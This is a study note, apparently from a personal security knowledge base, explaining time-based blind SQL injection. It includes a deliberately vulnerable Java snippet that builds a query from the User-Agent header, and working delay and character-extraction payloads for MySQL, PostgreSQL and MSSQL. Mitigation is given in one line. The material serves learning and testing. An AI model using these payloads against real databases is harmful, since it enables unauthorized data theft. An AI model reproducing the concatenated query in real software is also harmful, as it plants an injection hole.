What is it?Concept: A technique used when an application is completely blind. It does not reflect data, it does not show errors, and it does not even change its HTTP response (no Boolean differences). The attacker extracts data by injecting a command that forces the database to pause (sleep) for a specific number of seconds only if a specific condition is true. By measuring how long the server takes to respond, the attacker infers the data.
A vulnerable code in the back-end will look like this:
// Vulnerable: A background process like tracking or logging where the user sees NO result.
String userAgent = request.getHeader(“User-Agent”);
String query = “INSERT INTO visitor_logs (agent, visit_time) VALUES (’” + userAgent + ”’, NOW())”;
// The application executes the query but returns the exact same page regardless of success/failure
Statement statement = connection.createStatement();
statement.execute(query);
out.println(“
Welcome to the site!
”);
---
**How it works**
Using time delay functions together with conditional statements like `CASE WHEN` and `IF`. The logic is just: "If the letter at position `pos` is `A` then delay for `5` seconds, otherwise return immediately."
Exploitation
Prerequisites:
The application must be vulnerable to SQL injection.
Network latency must be stable enough to accurately measure response delays (high jitter can cause false positives).
Time-based SQL can be implemented in almost any context.
Think of this as the last resort since for a large database, the extraction process can takes hours to days.
Attack Vectors
Step 1: Forcing time delay (change the ` into ' in practice)
-- MySQL / MariaDB` OR SLEEP(5)--` UNION SELECT SLEEP(5)---- PostgreSQL` OR pg_sleep(5)---- MSSQL (Microsoft SQL Server)`; WAITFOR DELAY '0:0:5'---- Oracle` AND [RANDOM_HEAVY_QUERY]-- (Oracle lacks a direct sleep function, so you force it to compute a heavy task like querying the all_objects table multiple times)
Step 2: Extract the data
-- MySQL (Using IF statement)-- Is the first character of the database name 'm' (ASCII 109)? If yes, sleep 5 seconds.` OR IF(ASCII(SUBSTRING(database(), 1, 1)) = 109, SLEEP(5), 0)---- PostgreSQL (Using CASE statement)` OR (SELECT CASE WHEN (ASCII(SUBSTRING(current_database(), 1, 1)) = 109) THEN pg_sleep(5) ELSE pg_sleep(0) END)---- MSSQL (Using IF statement)`; IF (ASCII(SUBSTRING((SELECT DB_NAME()), 1, 1)) = 109) WAITFOR DELAY '0:0:5'--
Mitigation
Fix: Use Prepared Statements
Related Usage
TABLE creation_date AS "Created" FROM "05 - Content" WHERE contains(techniques, this.file.link) AND contains(tags, "🚩") SORT file.name ASC